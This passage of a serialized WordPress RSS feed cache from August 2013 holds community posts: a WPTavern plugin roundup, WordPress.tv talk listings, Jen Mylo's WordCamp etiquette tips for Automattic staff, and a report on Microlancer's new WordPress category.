we&#8217;ll take a look at plugins like <strong>System Snapshot Report, Folder Slider, Harmonia, Content Blocks, String Locator and Export User Data</strong>. As always, make sure you backup and test on a staging site before taking any of these plugins live. We highlight these plugins as applications of interest and not an endorsement or official review. Let&#8217;s get plugged in!<br />\n<span id=\"more-8511\"></span></p>\n<p><!--[if lt IE 9]><script>document.createElement(\'audio\');</script><![endif]-->\n<a href=\"http://www.wptavern.com/wp-content/uploads/2013/08/DailyPlugin-08212013.mp3\">http://www.wptavern.com/wp-content/uploads/2013/08/DailyPlugin-08212013.mp3</a><br />\n<br /><a href=\"http://i0.wp.com/www.wptavern.com/wp-content/uploads/2013/08/systeminfo.png\" rel=\"thumbnail\"><img class=\"alignleft size-thumbnail wp-image-8528\" alt=\"System Snapshot\" src=\"http://i0.wp.com/www.wptavern.com/wp-content/uploads/2013/08/systeminfo.png?resize=150%2C150\" /></a><a title=\"System Snapshot Report\" href=\"http://wordpress.org/plugins/system-snapshot-report/\" target=\"_blank\">System Snapshot Report</a> is a simple admin only plugin that provides a boatload of data about the server and related diagnostics. It provides you with quick-glance data that you can use to troubleshoot any issues you may be having with a WordPress installation. Data output includes version information for WordPress, PHP info, how your posts are displayed, how many users are active, etc. Essentially this is an all in one diagnostic and auditing tool that provides an entire snapshot of your entire WordPress operating environment. I&#8217;ve had plugins that provide some of this data, but this is the most comprehensive solution to show me all of the data I could possibly need to learn all about the internal structure of a unique WordPress installation.</p>\n<p><a title=\"Folder Slider\" href=\"http://wordpress.org/plugins/folder-slider/\" target=\"_blank\">Folder Slider</a> presents an alternative to the standard slider input. Generally sliders operate as being fed from either the Featured Image or as a separate slide management area within the slider plugin settings. This particular plugin is unique in that it instead pulls from a folder of images stored online to create the sliders. A basic set of transitions and options apply that allow you to present the images in a clean and aesthetically pleasing way. I&#8217;ve grown to appreciate plugins that feed directly from folders. Sometimes you just don&#8217;t need the extra management or setup that&#8217;s required when you simply want to display a slider of images without all the bells and whistles. This is a good no-frills option that can be updated simply by replacing the files in a folder via FTP.</p>\n<p><a title=\"Harmonia Inline MP3 Player\" href=\"http://wordpress.org/plugins/harmonia/\" target=\"_blank\">Harmonia</a> is a very interesting plugin that takes the new 3.6 inline player a bit further. This plugin finds all mp3 links in your content area and replaces the links with an inline audio player, allowing for instant listening. I like plugins that take all of the coding out of the post process, even if the coding is just a shortcode. When plugins like this come along, it makes it so much easier for WordPress novices to expand their content reach without requiring a speck of code. The player is in need of some more customization options, but it worked well for me in my staging tests thus far.</p>\n<p><a title=\"Content Blocks\" href=\"http://wordpress.org/plugins/wp-content-blocks/\" target=\"_blank\">Content Blocks</a> is a mystery plugin from the wordpressdotorg team that is labeled as &#8220;<em>exploratory</em>&#8220;. This has me intrigued as I hope it does for you as well. I have no idea what it does or how it will work, but I&#8217;m going to find out. I can&#8217;t wait to see what&#8217;s inside the black box.</p>\n<p><a title=\"String Locator\" href=\"http://wordpress.org/plugins/string-locator/\" target=\"_blank\">String Locator</a> is something that I&#8217;ve been waiting for, for a long time. It performs a site-wide search of your themes and plugins for a specific string. I can&#8217;t tell you how many times I&#8217;ve been editing a theme or CSS file and missed at least one other instance that I needed to change, but could not locate. This plugin solves that problem by providing an easy to use search function to find all those needles in your theme&#8217;s haystack. It&#8217;s also good for spotting altered or malicious code that may appear from nowhere.</p>\n<p><a title=\"Export User Data\" href=\"http://wordpress.org/plugins/export-user-data/\" target=\"_blank\">Export User Data</a> gives you the option to export all of your user data into an Excel sheet for offline viewing. It includes options for exporting your users by role, a range of registration dates and usermeta options. It can export in both CSV and Excel formats. Data that can be exported also includes BuddyPress and bbPress profile data. I recently exported the BuddyPress profile data on a membership site run by a client. We then took the data to invite everyone on the site to connect to the site author on LinkedIn. Though it&#8217;s just one simple use, it is nice to have a full export capability that is not a full database.</p>\n<p>That&#8217;ll do &#8216;er for today&#8217;s plugin bonanza. Make sure you stop back here tomorrow for more of the plugins that could change your life, or at least your reading habits. As always you can contact me on Twitter <a title=\"Marcus Couch on Twitter\" href=\"https://twitter.com/marcuscouch\">@marcuscouch</a> or here on <a title=\"The Daily Plugin for 08-19-2013\" href=\"http://wptavern.com/the-daily-plugin-wordpress-radio-system-snapshots-folder-slider-harmonia-content-blocks-string-locator\">WPTavern</a>.</p>\n<img src=\"http://feeds.feedburner.com/~r/WordpressTavern/~4/SAAiZagoHq0\" height=\"1\" width=\"1\" />\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Wed, 21 Aug 2013 20:34:08 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:12:\"Marcus Couch\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:21;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:61:\"WordPress.tv: Bob Dunn: Making Your WordPress Knowledge Stick\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wordpress.tv/?p=21511\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:78:\"http://wordpress.tv/2013/08/21/bob-dunn-making-your-wordpress-knowledge-stick/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:704:\"<div id=\"v-EL0Y8QKK-1\" class=\"video-player\">\n</div>\n<br />  <a rel=\"nofollow\" href=\"http://feeds.wordpress.com/1.0/gocomments/wptv.wordpress.com/21511/\"><img alt=\"\" border=\"0\" src=\"http://feeds.wordpress.com/1.0/comments/wptv.wordpress.com/21511/\" /></a> <img alt=\"\" border=\"0\" src=\"http://stats.wordpress.com/b.gif?host=wordpress.tv&blog=5089392&post=21511&subd=wptv&ref=&feed=1\" width=\"1\" height=\"1\" /><div><a href=\"http://wordpress.tv/2013/08/21/bob-dunn-making-your-wordpress-knowledge-stick/\"><img alt=\"Bob Dunn: Making Your WordPress Knowledge Stick\" src=\"http://videos.videopress.com/EL0Y8QKK/5-bob-dunn-making-your-wordpress-knowledge-stick_std.original.jpg\" width=\"160\" height=\"120\" /></a></div>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Wed, 21 Aug 2013 17:29:57 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:12:\"WordPress.tv\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:22;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:113:\"WordPress.tv: Геннадий Ковшенин: Автоматизация тестирования в WordPress\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wordpress.tv/?p=21562\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:80:\"http://wordpress.tv/2013/08/21/gennady-kovshenin-automated-testing-in-wordpress/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:733:\"<div id=\"v-PEeFKRNG-1\" class=\"video-player\">\n</div>\n<br />  <a rel=\"nofollow\" href=\"http://feeds.wordpress.com/1.0/gocomments/wptv.wordpress.com/21562/\"><img alt=\"\" border=\"0\" src=\"http://feeds.wordpress.com/1.0/comments/wptv.wordpress.com/21562/\" /></a> <img alt=\"\" border=\"0\" src=\"http://stats.wordpress.com/b.gif?host=wordpress.tv&blog=5089392&post=21562&subd=wptv&ref=&feed=1\" width=\"1\" height=\"1\" /><div><a href=\"http://wordpress.tv/2013/08/21/gennady-kovshenin-automated-testing-in-wordpress/\"><img alt=\"Геннадий Ковшенин: Автоматизация тестирования в WordPress\" src=\"http://videos.videopress.com/PEeFKRNG/video-693a0a2bb0_scruberthumbnail_27.jpg\" width=\"160\" height=\"120\" /></a></div>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Wed, 21 Aug 2013 07:15:35 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:12:\"WordPress.tv\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:23;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:37:\"Matt: Using Publishing To Push Change\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:21:\"http://ma.tt/?p=42957\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:53:\"http://ma.tt/2013/08/using-publishing-to-push-change/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:260:\"<p>Rachael Chong has an article on Fast Company Co.exist <a href=\"http://www.fastcoexist.com/3015907/generosity-series/the-cofounder-of-wordpress-on-using-publishing-to-push-change\">that includes my thoughts on giving, charity, and impact in the world</a>.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Wed, 21 Aug 2013 07:05:35 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:4:\"Matt\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:24;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:111:\"WordPress.tv: Austin Gunter: Lean Product Development – 4 Steps to Build Something Your Customers Want to Buy\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wordpress.tv/?p=21535\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:124:\"http://wordpress.tv/2013/08/20/austin-gunter-lean-product-development-4-steps-to-build-something-your-customers-want-to-buy/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:854:\"<div id=\"v-fRmJ98kA-1\" class=\"video-player\">\n</div>\n<br />  <a rel=\"nofollow\" href=\"http://feeds.wordpress.com/1.0/gocomments/wptv.wordpress.com/21535/\"><img alt=\"\" border=\"0\" src=\"http://feeds.wordpress.com/1.0/comments/wptv.wordpress.com/21535/\" /></a> <img alt=\"\" border=\"0\" src=\"http://stats.wordpress.com/b.gif?host=wordpress.tv&blog=5089392&post=21535&subd=wptv&ref=&feed=1\" width=\"1\" height=\"1\" /><div><a href=\"http://wordpress.tv/2013/08/20/austin-gunter-lean-product-development-4-steps-to-build-something-your-customers-want-to-buy/\"><img alt=\"Austin Gunter: Lean Product Development – 4 Steps to Build Something Your Customers Want to Buy\" src=\"http://videos.videopress.com/fRmJ98kA/02-austin-gunter-lean-product-development-e28093-4-steps-to-build-something-your-customers-want-to-buy_std.original.jpg\" width=\"160\" height=\"120\" /></a></div>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Tue, 20 Aug 2013 19:30:29 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:12:\"WordPress.tv\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:25;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:51:\"WordPress.tv: Jen Mylo: The Only Constant Is Change\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wordpress.tv/?p=21508\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:68:\"http://wordpress.tv/2013/08/20/jen-mylo-the-only-constant-is-change/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:674:\"<div id=\"v-kQANrLn2-1\" class=\"video-player\">\n</div>\n<br />  <a rel=\"nofollow\" href=\"http://feeds.wordpress.com/1.0/gocomments/wptv.wordpress.com/21508/\"><img alt=\"\" border=\"0\" src=\"http://feeds.wordpress.com/1.0/comments/wptv.wordpress.com/21508/\" /></a> <img alt=\"\" border=\"0\" src=\"http://stats.wordpress.com/b.gif?host=wordpress.tv&blog=5089392&post=21508&subd=wptv&ref=&feed=1\" width=\"1\" height=\"1\" /><div><a href=\"http://wordpress.tv/2013/08/20/jen-mylo-the-only-constant-is-change/\"><img alt=\"Jen Mylo: The Only Constant Is Change\" src=\"http://videos.videopress.com/kQANrLn2/1-jen-mylo-the-only-constant-is-change_std.original.jpg\" width=\"160\" height=\"120\" /></a></div>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Tue, 20 Aug 2013 17:37:31 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:12:\"WordPress.tv\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:26;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:37:\"Jen Mylo: Automatticians at WordCamps\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:26:\"http://jenmylo.com/?p=1900\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:58:\"http://jenmylo.com/2013/08/20/automatticians-at-wordcamps/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:4732:\"<p>Automattic is getting pretty big, almost 200 folks now, spread all over the world. That&#8217;s a lot of people we can send to WordCamps. I remember when it was mostly Matt and I splitting up who&#8217;d go to which events &#8212; how times have changed in five years!</p>\n<p>Since we&#8217;re <a href=\"http://automattic.com/work-with-us/\">hiring so enthusiastically</a>, my team is putting together a little guide for Automatticians on how to be an awesome Automattic representative at a WordCamp. I have a pretty giant list of tips and advice at the ready (you&#8217;d never have guessed, I know), but it occurs to me that non-Automatticians are probably the best people to ask about what we can do better when we pop in to a local WordCamp.</p>\n<p>Here are some of the things from my giant list so far:</p>\n<ul>\n<li><strong>Don&#8217;t travel in packs.</strong> When there are a few or a bunch of Automatticians at an event, we tend to cluster together because we so rarely get to see each other &#8212; and we like each other &#8212; but it makes it less likely that we&#8217;ll meet new community members. 1. Because we&#8217;re too busy talking to each other to reach out to new people. 2. Because it&#8217;s intimidating for someone new to break into that group.</li>\n<li><strong>Ask questions.</strong> A lot of WordCamp attendees will already know about Automattic, so while we should definitely be a resource for anyone interested in the company, the better use of time is getting to know the community members: who are they, how are they using WordPress, what would help them make their community more vibrant, who are the local independent consultants/themers/developers that we should know about?</li>\n<li><strong>Help out.</strong> WordCamps are a lot of work. Automatticians aren&#8217;t visiting dignitaries &#8212; we&#8217;re getting paid to be there &#8212; and we should help out along with the locals, whether that&#8217;s taking a shift on the help desk, moving chairs, or passing out shirts.</li>\n<li><strong>Be identifiable.</strong> Wearing the same WordPress t-shirt as everyone else is cool and all, but wearing a shirt that identifies the wearer as an Automattic employee, or a lanyard for the badge or something, would make it easier for people interested in talking about Automattic (especially people interested in jobs!) to find the Automatticians in the crowd.</li>\n<li><strong>Carry cards.</strong> Saying &#8220;email me later&#8221; works better when the card with an email address is handed over at the same time. That said, getting community member contact info so the burden of follow-up isn&#8217;t on them is even better.</li>\n<li><strong>Tweet It.</strong>  Using Twitter to let local followers know Automatticians are there is helpful. They might love to meet in person and talk about working at Automattic or contributing to the .org project and may not realize we&#8217;re there, especially if we&#8217;re not on the speaker list.</li>\n<li><strong>Don&#8217;t hog the speaker slots.</strong> Yes, Automatticians are speakers you can rely on, and we do employ a lot of seriously smart people, but if the speaker roster is filled up with Automatticians, that doesn&#8217;t do a lot to help grow the experience of local folks, which is part of what WordCamps are about.</li>\n<li><strong>Don&#8217;t be exclusionary.</strong> If planning to go off to an Automattician dinner or something after a long day of not traveling as a pack, don&#8217;t make those plans in front of other people, who will feel excluded (or might not understand what&#8217;s happening and might inadvertently show up later and crash the dinner); make <em>private</em> plans in <em>private</em> via Automattic channels. Even better, don&#8217;t go to private dinners, go to dinner with members of the local community.</li>\n<li><strong>Be present.</strong> In sessions, don&#8217;t work on the laptop, just pay attention to the speaker. In the crowd, don&#8217;t focus on the phone, smile and meet new people. Be there for the whole event, don&#8217;t take off early or skip the second day. Show the local community that Automatticians are respectful and want to be there.</li>\n</ul>\n<p>What would you add? In the comments (or in an email to me at jenmylo/wordpress.org if you don&#8217;t want people to see what you think) make suggestions for what Automatticians can do to be awesome at WordCamps. It&#8217;s also okay to give examples of times when we have not been awesome. Learning from our mistakes is good, too. Thanks in advance for your help!</p>\n<br />  <img alt=\"\" border=\"0\" src=\"http://stats.wordpress.com/b.gif?host=jenmylo.com&blog=45389656&post=1900&subd=jenmylo&ref=&feed=1\" width=\"1\" height=\"1\" />\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Tue, 20 Aug 2013 16:24:14 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:8:\"Jen Mylo\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:27;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:61:\"WPTavern: WordPress Category Now Available On Microlancer.com\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"http://www.wptavern.com/?p=8516\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:113:\"http://feedproxy.google.com/~r/WordpressTavern/~3/W9xZwKqbsZU/wordpress-category-now-available-on-microlancer-com\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:6972:\"<p><a href=\"http://i1.wp.com/www.wptavern.com/wp-content/uploads/2013/08/microlancerlogo.jpg\" rel=\"thumbnail\"><img src=\"http://i2.wp.com/www.wptavern.com/wp-content/uploads/2013/08/microlancerlogo.jpg?resize=247%2C48\" alt=\"MicrolancerLogo\" class=\"alignright size-full wp-image-8517\" /></a>Microlancer, an Envato owned company has <a href=\"http://www.microlancer.com/explore/wordpress\" title=\"http://www.microlancer.com/explore/wordpress\">recently added a WordPress category</a> for users needing work done to their WordPress site. The site has been in private beta since April of 2013 and helps build a bridge between freelancers and clients. The site currently has three different WordPress service categories available, <a href=\"http://www.microlancer.com/explore/website-to-wordpress\" title=\"http://www.microlancer.com/explore/website-to-wordpress\">Website to WordPress</a>, <a href=\"http://www.microlancer.com/explore/wordpress-customization\" title=\"http://www.microlancer.com/explore/wordpress-customization\">WordPress Customization</a>, <a href=\"http://www.microlancer.com/explore/wordpress-plug-ins\" title=\"http://www.microlancer.com/explore/wordpress-plug-ins\">WordPress Plug-ins</a>. Service Providers (freelancers who list their services and provide them for buyers) can choose a fixed price for their services, as well as a turnaround time that suits them. Buyers pay upfront. Any disputes are resolved fairly by Microlancer staff. Skellie was nice enough to answer two questions I had concerning the site. <span id=\"more-8516\"></span></p>\n<p><a href=\"http://i2.wp.com/www.wptavern.com/wp-content/uploads/2013/08/MicrolancerWPServices.jpg\" rel=\"thumbnail\"><img src=\"http://i0.wp.com/www.wptavern.com/wp-content/uploads/2013/08/MicrolancerWPServices.jpg?resize=500%2C360\" alt=\"WordPress Services On Microlancer\" class=\"aligncenter size-large wp-image-8518\" /></a></p>\n<p><strong>What&#8217;s the biggest difference between using a job board and something like Microlancer?</strong></p>\n<p>You can find someone great much more quickly and with much less back and forth than you can using a job board. On Microlancer, prices are fixed and clearly visible, and each job states a turnaround time that the service provider must meet. Every listing includes visual examples of previous work, and a description of what is included in the service. There&#8217;s no time spent on trawling through copy and paste job bids, endless back and forth communication, trying to get a clear quote. Everything you need to know is stated upfront before you&#8217;ve paid a cent.</p>\n<p><strong>How will consumers be protected from people trying to rip them off?</strong></p>\n<p>When a buyer purchases a service on Microlancer, the funds don&#8217;t go straight to the service provider. Instead, they are kept in holding and only released when a job is successfully completed. If at any point during the job the client is unhappy with the work, they can start a dispute. Disputes are fairly resolved by Microlancer staff. A client will never be forced to pay for bad quality work, or bad service.</p>\n<div class=\"aligncenter\"></div>\n<p>One thing I noticed on their <a href=\"http://www.microlancer.com/how-it-works\" title=\"http://www.microlancer.com/how-it-works\">How It Works</a> page is that clients receive a set number of revisions so you better know what you want before doing business. When asked who controls the number of revisions clients/customers receive, I was told that the seller controls the number of revisions as well as the turnaround time but the revisions were capped at 3. I was also curious to know whether customers can provide feedback through ratings or reviews and yes they can. Although not all services have reviews as they are optional from the buyer, <a href=\"https://www.microlancer.com/explore/business-card-design/588-creative-profession-business-card-designs\" title=\"https://www.microlancer.com/explore/business-card-design/588-creative-profession-business-card-designs\">here is an example</a> of a service that has both a recommendation percentage on the right-hand side and at least one review below the service description. </p>\n<h2>A Service Providers Perspective:</h2>\n<p>Microlancer is in its infancy but I was able to get in touch with at least one service provider to try to get their thoughts on using the service. They have only used it for a week or so but this is what they had to say:</p>\n<p><em>I&#8217;ve had one project so far but I don&#8217;t see myself using it in the future unless I really spend some time prepackaging everything I do into little one-off services.</p>\n<p>The whole interface just doesn&#8217;t fit into a good mechanism for working with code. Perhaps my viewpoint is skewed as I do so much freelancing for WordPress on <a href=\"https://codeable.io/\" title=\"https://codeable.io/\">Codeable.io</a> (which is amazing for WordPress freelancing).</em></p>\n<p><strong>How would you rate the experience of dealing with clients via Microlancer?</strong></p>\n<p>Poor. No live chat so the back and forth is slow. My single experience with a project so far has been that the client didn&#8217;t actually read the description of the service and instead just read the title and went off that. So while my description said &#8216;<em>12 specific style changes</em>&#8216;, what he wanted was something different. As of right now the project status is unknown to me. We had a bit of back and forth to clarify what he wanted, I agreed and now have not heard anything. The project was &#8220;<em>started</em>&#8221; but I assume I&#8217;ll need to contact support to have the project cancelled.</p>\n<p><strong>What is your general observation of the service?</strong></p>\n<p>Very mixed feelings. It&#8217;s nice to have another option for freelancing and one at which I can just list my services and wait for clients to pick them is enticing. However it doesn&#8217;t seem to have a good mechanism in place for scope creep, additional feature/service requests or a good client 